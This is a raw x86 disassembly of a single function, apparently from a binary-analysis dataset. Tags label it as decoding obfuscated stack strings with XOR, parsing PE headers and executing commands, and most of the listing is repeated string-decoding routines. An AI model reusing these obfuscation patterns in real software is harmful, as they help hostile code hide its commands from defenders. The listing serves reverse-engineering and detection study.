Function at 0x443490
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Execute command
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4757e5
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x3338
call fcn.00474050
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1b5c], edx
mov dword [ebp - 0x19d0], ecx
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2c]
call fcn.00468c40
lea ecx, [ebp - 0x2c]
call fcn.004674c0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x19d0]
call fcn.00468c40
lea ecx, [ebp - 0x44]
call fcn.004674c0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x5c]
call fcn.00468c40
lea ecx, [ebp - 0x5c]
call fcn.004674c0
lea ecx, [ebp - 0x29f0]
mov byte [ebp - 4], 2
call fcn.00442230
mov esi, eax
lea ecx, [ebp - 0x29d8]
mov byte [ebp - 4], 3
call fcn.0043d160
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.004433b0
mov edx, eax
lea ecx, [ebp - 0x2360]
call fcn.0043c330
push esi
lea eax, [ebp - 0x2360]
mov byte [ebp - 4], 5
push eax
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x74]
call fcn.00469db0
lea ecx, [ebp - 0x2360]
call fcn.004665d0
lea ecx, [ebp - 0x29d8]
call fcn.004665d0
lea ecx, [ebp - 0x29f0]
mov byte [ebp - 4], 9
call fcn.004665d0
mov al, 0x42
mov byte [ebp - 0x1b78], 0
mov ah, 0x22
mov byte [ebp - 0x1b78], 0
mov cl, al
mov byte [ebp - 0x1b7c], ah
mov dl, al
xor cl, ah
xor al, ah
mov byte [ebp - 0x1b7a], cl
xor dl, ah
mov byte [ebp - 0x1b7b], al
lea ecx, [ebp - 0x27c8]
mov byte [ebp - 0x1b79], dl
call fcn.004422c0
mov dword [ebp - 0x1a18], eax
movaps xmm0, xmmword [str.4_yQY_F_U]
xor ecx, ecx
movups xmmword [ebp - 0x1e94], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x1e94]
xor byte [ebp + ecx - 0x1e93], al
inc ecx
cmp ecx, 0xe
jb 0x443600
movaps xmm0, xmmword [0x48b9f0]
xor ecx, ecx
mov byte [ebp - 0x1e85], 0
movups xmmword [ebp - 0x1cd0], xmm0
mov dword [ebp - 0x1cc0], 0x6c656279
mov byte [ebp - 0x1cbc], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x1cd0]
xor byte [ebp + ecx - 0x1ccf], al
inc ecx
cmp ecx, 0x13
jb 0x443640
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2120]
mov byte [ebp - 0x1cbc], 0
call fcn.00468c40
lea ecx, [ebp - 0x1ccf]
mov byte [ebp - 4], 0xb
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443678
sub ecx, edx
lea eax, [ebp - 0x1ccf]
push ecx
push eax
lea ecx, [ebp - 0x2120]
call fcn.00468c60
movaps xmm0, xmmword [0x48a180]
xor ecx, ecx
movups xmmword [ebp - 0x2048], xmm0
movaps xmm0, xmmword [0x489860]
movups xmmword [ebp - 0x2038], xmm0
movaps xmm0, xmmword [0x489470]
movups xmmword [ebp - 0x2028], xmm0
mov al, byte [ebp - 0x2048]
xor byte [ebp + ecx - 0x2047], al
inc ecx
cmp ecx, 0x2e
jb 0x4436c0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2108]
mov byte [ebp - 0x2019], 0
call fcn.00468c40
lea ecx, [ebp - 0x2047]
mov byte [ebp - 4], 0xd
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4436f8
sub ecx, edx
lea eax, [ebp - 0x2047]
push ecx
push eax
lea ecx, [ebp - 0x2108]
call fcn.00468c60
lea eax, [ebp - 0x2120]
mov byte [ebp - 4], 0xe
push eax
lea edx, [ebp - 0x2108]
lea ecx, [ebp - 0x27b0]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1c00], eax
movaps xmm0, xmmword [0x48adc0]
xor ecx, ecx
movups xmmword [ebp - 0x1ce8], xmm0
mov dword [ebp - 0x1cd8], 0x48555e5b
mov word [ebp - 0x1cd4], 0x1a00
mov byte [ebp - 0x1cd2], 0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1ce8]
xor byte [ebp + ecx - 0x1ce7], al
inc ecx
cmp ecx, 0x15
jb 0x443770
movaps xmm0, xmmword [str.W777_]
xor ecx, ecx
mov byte [ebp - 0x1cd2], 0
movups xmmword [ebp - 0x1d70], xmm0
mov dword [ebp - 0x1d60], 0x6d041811
mov byte [ebp - 0x1d5c], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x1d70]
xor byte [ebp + ecx - 0x1d6f], al
inc ecx
cmp ecx, 0x13
jb 0x4437b0
mov byte [ebp - 0x1d5c], 0
mov dl, 0x10
mov dword [ebp - 0x1bcc], 0x63694310
xor ecx, ecx
mov dword [ebp - 0x1bc8], 0x467d7564
mov dword [ebp - 0x1bc4], 0x79636275
mov word [ebp - 0x1bc0], 0x7e7f
mov byte [ebp - 0x1bbe], 0
nop dword [eax]
lea eax, [ebp - 0x1bcb]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x443817
mov dl, byte [ebp - 0x1bcc]
jmp 0x443800
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x20f0]
mov byte [ebp - 0x1bbe], 0
call fcn.00468c40
lea ecx, [ebp - 0x1bcb]
mov byte [ebp - 4], 0x10
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443840
sub ecx, edx
lea eax, [ebp - 0x1bcb]
push ecx
push eax
lea ecx, [ebp - 0x20f0]
call fcn.00468c60
movaps xmm0, xmmword [0x489a80]
xor ecx, ecx
movups xmmword [ebp - 0x1f90], xmm0
mov word [ebp - 0x1f70], 0xe
movaps xmm0, xmmword [0x4899e0]
movups xmmword [ebp - 0x1f80], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1f90]
xor byte [ebp + ecx - 0x1f8f], al
inc ecx
cmp ecx, 0x20
jb 0x443890
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x20d8]
mov byte [ebp - 0x1f6f], 0
call fcn.00468c40
lea ecx, [ebp - 0x1f8f]
mov byte [ebp - 4], 0x12
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4438c8
sub ecx, edx
lea eax, [ebp - 0x1f8f]
push ecx
push eax
lea ecx, [ebp - 0x20d8]
call fcn.00468c60
lea eax, [ebp - 0x20f0]
mov byte [ebp - 4], 0x13
push eax
lea edx, [ebp - 0x20d8]
lea ecx, [ebp - 0x2798]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1c08], eax
movaps xmm0, xmmword [str._.w_WPAIrAVWMKJ]
xor ecx, ecx
movups xmmword [ebp - 0x1e2c], xmm0
mov word [ebp - 0x1e1c], 4
mov al, byte [ebp - 0x1e2c]
xor byte [ebp + ecx - 0x1e2b], al
inc ecx
cmp ecx, 0x10
jb 0x443922
push dword [ebp - 0x19d0]
mov al, 0x3a
mov byte [ebp - 0x1b68], 0x69
mov byte [ebp - 0x19d1], al
mov cl, 0x10
xor al, byte [ebp - 0x1b68]
mov ch, 0xc
xor cl, byte [ebp - 0x1b68]
mov dl, 0x1a
mov byte [ebp - 0x1b67], al
mov ah, 0x1d
mov al, byte [ebp - 0x19d1]
mov dh, 4
mov byte [ebp - 0x1b66], cl
mov cl, byte [ebp - 0x1b68]
xor al, cl
mov byte [ebp - 0x19d2], 0x22
mov byte [ebp - 0x1b61], al
xor ch, cl
mov al, byte [ebp - 0x19d2]
xor dl, cl
xor al, cl
mov byte [ebp - 0x19d3], 0x3c
mov byte [ebp - 0x1b60], al
xor ah, cl
mov al, byte [ebp - 0x19d3]
xor dh, cl
xor al, cl
mov byte [ebp - 0x1b63], ch
mov byte [ebp - 0x1b5e], 0
lea ecx, [ebp - 0x20c0]
mov byte [ebp - 0x1e1b], 0
mov byte [ebp - 0x1b65], dl
mov byte [ebp - 0x1b64], ah
mov byte [ebp - 0x1b62], dh
mov byte [ebp - 0x1b5f], al
mov byte [ebp - 0x1b5e], 0
call fcn.00468c40
lea ecx, [ebp - 0x1b67]
mov byte [ebp - 4], 0x15
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4439f7
sub ecx, edx
lea eax, [ebp - 0x1b67]
push ecx
push eax
lea ecx, [ebp - 0x20c0]
call fcn.00468c60
movaps xmm0, xmmword [0x48a1e0]
xor ecx, ecx
movups xmmword [ebp - 0x1edc], xmm0
mov word [ebp - 0x1ebc], 0x31
movaps xmm0, xmmword [0x48a250]
movups xmmword [ebp - 0x1ecc], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x1edc]
xor byte [ebp + ecx - 0x1edb], al
inc ecx
cmp ecx, 0x20
jb 0x443a40
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x20a8]
mov byte [ebp - 0x1ebb], 0
call fcn.00468c40
lea ecx, [ebp - 0x1edb]
mov byte [ebp - 4], 0x17
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443a78
sub ecx, edx
lea eax, [ebp - 0x1edb]
push ecx
push eax
lea ecx, [ebp - 0x20a8]
call fcn.00468c60
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x18
push eax
lea edx, [ebp - 0x20a8]
lea ecx, [ebp - 0x2780]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1bfc], eax
mov dl, 0x7b
mov dword [ebp - 0x1bf8], 0x228717b
mov dword [ebp - 0x1bf4], 0x161e0f08
xor ecx, ecx
mov dword [ebp - 0x1bf0], 0x412e3028
mov word [ebp - 0x1bec], 0x5b
lea eax, [ebp - 0x1bf7]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x443afb
mov dl, byte [ebp - 0x1bf8]
jmp 0x443ae4
movaps xmm0, xmmword [0x48b950]
xor ecx, ecx
mov byte [ebp - 0x1beb], 0
movups xmmword [ebp - 0x1d40], xmm0
mov word [ebp - 0x1d30], 0x7f77
mov byte [ebp - 0x1d2e], 0
mov al, byte [ebp - 0x1d40]
xor byte [ebp + ecx - 0x1d3f], al
inc ecx
cmp ecx, 0x11
jb 0x443b22
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2090]
mov byte [ebp - 0x1d2e], 0
call fcn.00468c40
lea ecx, [ebp - 0x1d3f]
mov byte [ebp - 4], 0x1a
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443b60
sub ecx, edx
lea eax, [ebp - 0x1d3f]
push ecx
push eax
lea ecx, [ebp - 0x2090]
call fcn.00468c60
movaps xmm0, xmmword [0x48b3c0]
xor ecx, ecx
movups xmmword [ebp - 0x1f00], xmm0
mov word [ebp - 0x1ee0], 0x7b
movaps xmm0, xmmword [0x48b4e0]
movups xmmword [ebp - 0x1ef0], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1f00]
xor byte [ebp + ecx - 0x1eff], al
inc ecx
cmp ecx, 0x20
jb 0x443bb0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2078]
mov byte [ebp - 0x1edf], 0
call fcn.00468c40
lea ecx, [ebp - 0x1eff]
mov byte [ebp - 4], 0x1c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443be8
sub ecx, edx
lea eax, [ebp - 0x1eff]
push ecx
push eax
lea ecx, [ebp - 0x2078]
call fcn.00468c60
lea eax, [ebp - 0x2090]
mov byte [ebp - 4], 0x1d
push eax
lea edx, [ebp - 0x2078]
lea ecx, [ebp - 0x2768]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1c04], eax
movaps xmm0, xmmword [0x48a6e0]
xor ecx, ecx
movups xmmword [ebp - 0x1d2c], xmm0
mov dword [ebp - 0x1d1c], 0x49161e12
mov word [ebp - 0x1d18], 0x53
nop dword [eax]
mov al, byte [ebp - 0x1d2c]
xor byte [ebp + ecx - 0x1d2b], al
inc ecx
cmp ecx, 0x14
jb 0x443c50
movaps xmm0, xmmword [0x48b930]
xor ecx, ecx
mov byte [ebp - 0x1d17], 0
movups xmmword [ebp - 0x1d14], xmm0
mov dword [ebp - 0x1d04], 0x7d6a7d
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x1d14]
xor byte [ebp + ecx - 0x1d13], al
inc ecx
cmp ecx, 0x12
jb 0x443c90
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2060]
mov byte [ebp - 0x1d01], 0
call fcn.00468c40
lea ecx, [ebp - 0x1d13]
mov byte [ebp - 4], 0x1f
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443cc8
sub ecx, edx
lea eax, [ebp - 0x1d13]
push ecx
push eax
lea ecx, [ebp - 0x2060]
call fcn.00468c60
movaps xmm0, xmmword [0x48ad90]
xor ecx, ecx
movups xmmword [ebp - 0x1f24], xmm0
mov word [ebp - 0x1f04], 0x52
movaps xmm0, xmmword [0x48aea0]
movups xmmword [ebp - 0x1f14], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x1f24]
xor byte [ebp + ecx - 0x1f23], al
inc ecx
cmp ecx, 0x20
jb 0x443d10
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x22e8]
mov byte [ebp - 0x1f03], 0
call fcn.00468c40
lea ecx, [ebp - 0x1f23]
mov byte [ebp - 4], 0x21
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443d48
sub ecx, edx
lea eax, [ebp - 0x1f23]
push ecx
push eax
lea ecx, [ebp - 0x22e8]
call fcn.00468c60
lea eax, [ebp - 0x2060]
mov byte [ebp - 4], 0x22
push eax
lea edx, [ebp - 0x22e8]
lea ecx, [ebp - 0x2750]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1d94], eax
movaps xmm0, xmmword [0x48ade0]
xor ecx, ecx
movups xmmword [ebp - 0x1d00], xmm0
mov dword [ebp - 0x1cf0], 0x4c5b4c4b
mov word [ebp - 0x1cec], 0x1e04
mov byte [ebp - 0x1cea], 0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1d00]
xor byte [ebp + ecx - 0x1cff], al
inc ecx
cmp ecx, 0x15
jb 0x443dc0
mov byte [ebp - 0x1cea], 0
mov dl, 0x7c
mov dword [ebp - 0x1bac], 0xf052f7c
xor ecx, ecx
mov dword [ebp - 0x1ba8], 0x3a111908
mov dword [ebp - 0x1ba4], 0x1015111d
mov word [ebp - 0x1ba0], 5
lea eax, [ebp - 0x1bab]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x443e1c
mov dl, byte [ebp - 0x1bac]
jmp 0x443e05
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x22d0]
mov byte [ebp - 0x1b9f], 0
call fcn.00468c40
lea ecx, [ebp - 0x1bab]
mov byte [ebp - 4], 0x24
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443e41
sub ecx, edx
lea eax, [ebp - 0x1bab]
push ecx
push eax
lea ecx, [ebp - 0x22d0]
call fcn.00468c60
movaps xmm0, xmmword [0x48b130]
xor ecx, ecx
movups xmmword [ebp - 0x1f48], xmm0
mov word [ebp - 0x1f28], 0x42
movaps xmm0, xmmword [0x48b290]
movups xmmword [ebp - 0x1f38], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x1f48]
xor byte [ebp + ecx - 0x1f47], al
inc ecx
cmp ecx, 0x20
jb 0x443e90
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x22b8]
mov byte [ebp - 0x1f27], 0
call fcn.00468c40
lea ecx, [ebp - 0x1f47]
mov byte [ebp - 4], 0x26
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443ec8
sub ecx, edx
lea eax, [ebp - 0x1f47]
push ecx
push eax
lea ecx, [ebp - 0x22b8]
call fcn.00468c60
lea eax, [ebp - 0x22d0]
mov byte [ebp - 4], 0x27
push eax
lea edx, [ebp - 0x22b8]
lea ecx, [ebp - 0x2738]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1d9c], eax
movaps xmm0, xmmword [0x48adf0]
xor ecx, ecx
movups xmmword [ebp - 0x1e64], xmm0
mov byte [ebp - 0x1e54], 0
mov al, byte [ebp - 0x1e64]
xor byte [ebp + ecx - 0x1e63], al
inc ecx
cmp ecx, 0xf
jb 0x443f20
movaps xmm0, xmmword [0x48b6c0]
xor ecx, ecx
mov byte [ebp - 0x1e54], 0
movups xmmword [ebp - 0x1e04], xmm0
mov byte [ebp - 0x1df4], 0
mov al, byte [ebp - 0x1e04]
xor byte [ebp + ecx - 0x1e03], al
inc ecx
cmp ecx, 0xf
jb 0x443f51
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x22a0]
mov byte [ebp - 0x1df4], 0
call fcn.00468c40
lea ecx, [ebp - 0x1e03]
mov byte [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443f90
sub ecx, edx
lea eax, [ebp - 0x1e03]
push ecx
push eax
lea ecx, [ebp - 0x22a0]
call fcn.00468c60
movaps xmm0, xmmword [0x48a320]
xor ecx, ecx
movups xmmword [ebp - 0x1c48], xmm0
mov dword [ebp - 0x1c38], 0x292f3236
mov dword [ebp - 0x1c34], 0x1f353a28
mov dword [ebp - 0x1c30], 0xb031215
mov byte [ebp - 0x1c2c], 0
mov al, byte [ebp - 0x1c48]
xor byte [ebp + ecx - 0x1c47], al
inc ecx
cmp ecx, 0x1b
jb 0x443fe1
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2288]
mov byte [ebp - 0x1c2c], 0
call fcn.00468c40
lea ecx, [ebp - 0x1c47]
mov byte [ebp - 4], 0x2b
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444020
sub ecx, edx
lea eax, [ebp - 0x1c47]
push ecx
push eax
lea ecx, [ebp - 0x2288]
call fcn.00468c60
lea eax, [ebp - 0x22a0]
mov byte [ebp - 4], 0x2c
push eax
lea edx, [ebp - 0x2288]
lea ecx, [ebp - 0x2720]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1dac], eax
movaps xmm0, xmmword [0x4894f0]
xor ecx, ecx
movups xmmword [ebp - 0x1e84], xmm0
mov al, byte [ebp - 0x1e84]
xor byte [ebp + ecx - 0x1e83], al
inc ecx
cmp ecx, 0xe
jb 0x444071
mov byte [ebp - 0x1e75], 0
mov dl, 0x28
mov dword [ebp - 0x1be8], 0x4c417e28
xor ecx, ecx
mov dword [ebp - 0x1be4], 0x416a474d
mov dword [ebp - 0x1be0], 0x496c5b47
mov word [ebp - 0x1bdc], 0x4d5c
mov byte [ebp - 0x1bda], 0
nop dword [eax]
lea eax, [ebp - 0x1be7]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x4440d7
mov dl, byte [ebp - 0x1be8]
jmp 0x4440c0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2270]
mov byte [ebp - 0x1bda], 0
call fcn.00468c40
lea ecx, [ebp - 0x1be7]
mov byte [ebp - 4], 0x2e
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444100
sub ecx, edx
lea eax, [ebp - 0x1be7]
push ecx
push eax
lea ecx, [ebp - 0x2270]
call fcn.00468c60
movaps xmm0, xmmword [0x489c50]
xor ecx, ecx
movups xmmword [ebp - 0x1c28], xmm0
mov dword [ebp - 0x1c18], 0x1c1a0703
mov dword [ebp - 0x1c14], 0x2a000f1d
mov dword [ebp - 0x1c10], 0x3e362720
mov byte [ebp - 0x1c0c], 0
mov al, byte [ebp - 0x1c28]
xor byte [ebp + ecx - 0x1c27], al
inc ecx
cmp ecx, 0x1b
jb 0x444151
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2258]
mov byte [ebp - 0x1c0c], 0
call fcn.00468c40
lea ecx, [ebp - 0x1c27]
mov byte [ebp - 4], 0x30
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444190
sub ecx, edx
lea eax, [ebp - 0x1c27]
push ecx
push eax
lea ecx, [ebp - 0x2258]
call fcn.00468c60
lea eax, [ebp - 0x2270]
mov byte [ebp - 4], 0x31
push eax
lea edx, [ebp - 0x2258]
lea ecx, [ebp - 0x2708]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1db4], eax
movaps xmm0, xmmword [0x48ac90]
xor ecx, ecx
movups xmmword [ebp - 0x1d58], xmm0
mov dword [ebp - 0x1d48], 0x51f4051
mov byte [ebp - 0x1d44], 0
mov al, byte [ebp - 0x1d58]
xor byte [ebp + ecx - 0x1d57], al
inc ecx
cmp ecx, 0x13
jb 0x4441f2
mov byte [ebp - 0x1d44], 0
mov dl, 7
mov dword [ebp - 0x1b9c], 0x484e4507
xor ecx, ecx
mov dword [ebp - 0x1b98], 0x75625154
mov dword [ebp - 0x1b94], 0x69686e74
mov byte [ebp - 0x1b90], 0
lea eax, [ebp - 0x1b9b]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x44424c
mov dl, byte [ebp - 0x1b9c]
jmp 0x444235
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2240]
mov byte [ebp - 0x1b90], 0
call fcn.00468c40
lea ecx, [ebp - 0x1b9b]
mov byte [ebp - 4], 0x33
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444271
sub ecx, edx
lea eax, [ebp - 0x1b9b]
push ecx
push eax
lea ecx, [ebp - 0x2240]
call fcn.00468c60
movaps xmm0, xmmword [0x48a320]
xor ecx, ecx
movups xmmword [ebp - 0x1f6c], xmm0
mov word [ebp - 0x1f4c], 0x35
movaps xmm0, xmmword [0x48a150]
movups xmmword [ebp - 0x1f5c], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x1f6c]
xor byte [ebp + ecx - 0x1f6b], al
inc ecx
cmp ecx, 0x20
jb 0x4442c0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2228]
mov byte [ebp - 0x1f4b], 0
call fcn.00468c40
lea ecx, [ebp - 0x1f6b]
mov byte [ebp - 4], 0x35
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4442f8
sub ecx, edx
lea eax, [ebp - 0x1f6b]
push ecx
push eax
lea ecx, [ebp - 0x2228]
call fcn.00468c60
lea eax, [ebp - 0x2240]
mov byte [ebp - 4], 0x36
push eax
lea edx, [ebp - 0x2228]
lea ecx, [ebp - 0x26f0]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1db8], eax
mov byte [ebp - 0x1bd8], 0x38
mov cl, 0x32
xor cl, byte [ebp - 0x1bd8]
mov al, 0x4b
mov byte [ebp - 0x1bd7], cl
mov dl, 0x6e
mov cl, byte [ebp - 0x1bd8]
mov ch, 0x5d
xor al, cl
mov byte [ebp - 0x19d3], 0x57
mov byte [ebp - 0x1bd3], al
xor dl, cl
mov al, byte [ebp - 0x19d3]
xor ch, cl
xor al, cl
mov byte [ebp - 0x19d2], 0x56
mov byte [ebp - 0x1bd1], al
mov dh, 0x4a
mov al, byte [ebp - 0x19d2]
xor dh, cl
xor al, cl
mov byte [ebp - 0x19d1], 2
mov byte [ebp - 0x1bd0], al
mov ah, 0x51
mov al, byte [ebp - 0x19d1]
xor ah, cl
xor al, cl
mov byte [ebp - 0x19c9], 0x18
mov byte [ebp - 0x1bcf], al
mov al, byte [ebp - 0x19c9]
xor al, cl
mov byte [ebp - 0x1b74], 0x6c
mov byte [ebp - 0x1bce], al
mov cl, 0x25
xor cl, byte [ebp - 0x1b74]
mov al, 0x2e
xor al, byte [ebp - 0x1b74]
mov byte [ebp - 0x1bd6], dl
mov dl, 0x23
mov byte [ebp - 0x1bd5], ch
mov ch, 0x3a
mov byte [ebp - 0x1bd4], dh
mov dh, 9
mov byte [ebp - 0x1bd2], ah
mov ah, 0x3f
mov byte [ebp - 0x1b72], cl
mov cl, byte [ebp - 0x1b74]
mov byte [ebp - 0x1b73], al
xor dl, cl
mov byte [ebp - 0x19c9], 2
xor ah, cl
mov al, byte [ebp - 0x19c9]
xor ch, cl
xor dh, cl
mov byte [ebp - 0x1bcd], 0
mov byte [ebp - 0x1bcd], 0
xor al, cl
mov byte [ebp - 0x19d3], 8
mov byte [ebp - 0x19d2], 3
mov byte [ebp - 0x19d1], 0x1e
mov byte [ebp - 0x1b69], 0
mov byte [ebp - 0x1b71], dl
mov byte [ebp - 0x1b70], ah
mov byte [ebp - 0x1b6f], ch
mov byte [ebp - 0x1b6e], dh
push dword [ebp - 0x19d0]
mov byte [ebp - 0x1b6d], al
mov al, byte [ebp - 0x19d3]
xor al, cl
mov byte [ebp - 0x1b69], 0
mov byte [ebp - 0x1b6c], al
mov al, byte [ebp - 0x19d2]
xor al, cl
mov byte [ebp - 0x1b6b], al
mov al, byte [ebp - 0x19d1]
xor al, cl
lea ecx, [ebp - 0x2210]
mov byte [ebp - 0x1b6a], al
call fcn.00468c40
lea ecx, [ebp - 0x1b73]
mov byte [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4444c0
sub ecx, edx
lea eax, [ebp - 0x1b73]
push ecx
push eax
lea ecx, [ebp - 0x2210]
call fcn.00468c60
movaps xmm0, xmmword [0x48b0d0]
xor ecx, ecx
movups xmmword [ebp - 0x1eb8], xmm0
mov word [ebp - 0x1e98], 0x4c
movaps xmm0, xmmword [0x48af20]
movups xmmword [ebp - 0x1ea8], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1eb8]
xor byte [ebp + ecx - 0x1eb7], al
inc ecx
cmp ecx, 0x20
jb 0x444510
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x21f8]
mov byte [ebp - 0x1e97], 0
call fcn.00468c40
lea ecx, [ebp - 0x1eb7]
mov byte [ebp - 4], 0x3a
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444548
sub ecx, edx
lea eax, [ebp - 0x1eb7]
push ecx
push eax
lea ecx, [ebp - 0x21f8]
call fcn.00468c60
lea eax, [ebp - 0x2210]
mov byte [ebp - 4], 0x3b
push eax
lea edx, [ebp - 0x21f8]
lea ecx, [ebp - 0x26d8]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1dbc], eax
movaps xmm0, xmmword [0x489780]
xor ecx, ecx
movups xmmword [ebp - 0x1ddc], xmm0
mov word [ebp - 0x1dcc], 0x5842
mov byte [ebp - 0x1dca], 0
nop dword [eax]
mov al, byte [ebp - 0x1ddc]
xor byte [ebp + ecx - 0x1ddb], al
inc ecx
cmp ecx, 0x11
jb 0x4445b0
movaps xmm0, xmmword [0x48b760]
xor ecx, ecx
mov byte [ebp - 0x1dca], 0
movups xmmword [ebp - 0x1e50], xmm0
mov byte [ebp - 0x1e40], 0
mov al, byte [ebp - 0x1e50]
xor byte [ebp + ecx - 0x1e4f], al
inc ecx
cmp ecx, 0xf
jb 0x4445e1
movaps xmm0, xmmword [str.I_v__.___]
xor ecx, ecx
mov byte [ebp - 0x1e40], 0
movups xmmword [ebp - 0x1cb8], xmm0
mov dword [ebp - 0x1ca8], 0x2d2c212a
mov dword [ebp - 0x1ca4], 0x3b2c253c
mov byte [ebp - 0x1ca0], 0
nop word [eax + eax]
mov al, byte [ebp - 0x1cb8]
xor byte [ebp + ecx - 0x1cb7], al
inc ecx
cmp ecx, 0x17
jb 0x444630
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2138]
mov byte [ebp - 0x1ca0], 0
call fcn.00468c40
lea ecx, [ebp - 0x1cb7]
mov byte [ebp - 4], 0x3d
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444668
sub ecx, edx
lea eax, [ebp - 0x1cb7]
push ecx
push eax
lea ecx, [ebp - 0x2138]
call fcn.00468c60
movaps xmm0, xmmword [0x48a540]
xor ecx, ecx
movups xmmword [ebp - 0x1c80], xmm0
mov dword [ebp - 0x1c70], 0x1931232a
mov dword [ebp - 0x1c6c], 0x21202003
mov word [ebp - 0x1c68], 0x36
mov al, byte [ebp - 0x1c80]
xor byte [ebp + ecx - 0x1c7f], al
inc ecx
cmp ecx, 0x18
jb 0x4446b1
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x21e0]
mov byte [ebp - 0x1c67], 0
call fcn.00468c40
lea ecx, [ebp - 0x1c7f]
mov byte [ebp - 4], 0x3f
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4446f0
sub ecx, edx
lea eax, [ebp - 0x1c7f]
push ecx
push eax
lea ecx, [ebp - 0x21e0]
call fcn.00468c60
lea eax, [ebp - 0x2138]
mov byte [ebp - 4], 0x40
push eax
lea edx, [ebp - 0x21e0]
lea ecx, [ebp - 0x26c0]
call fcn.00441dc0
add esp, 4
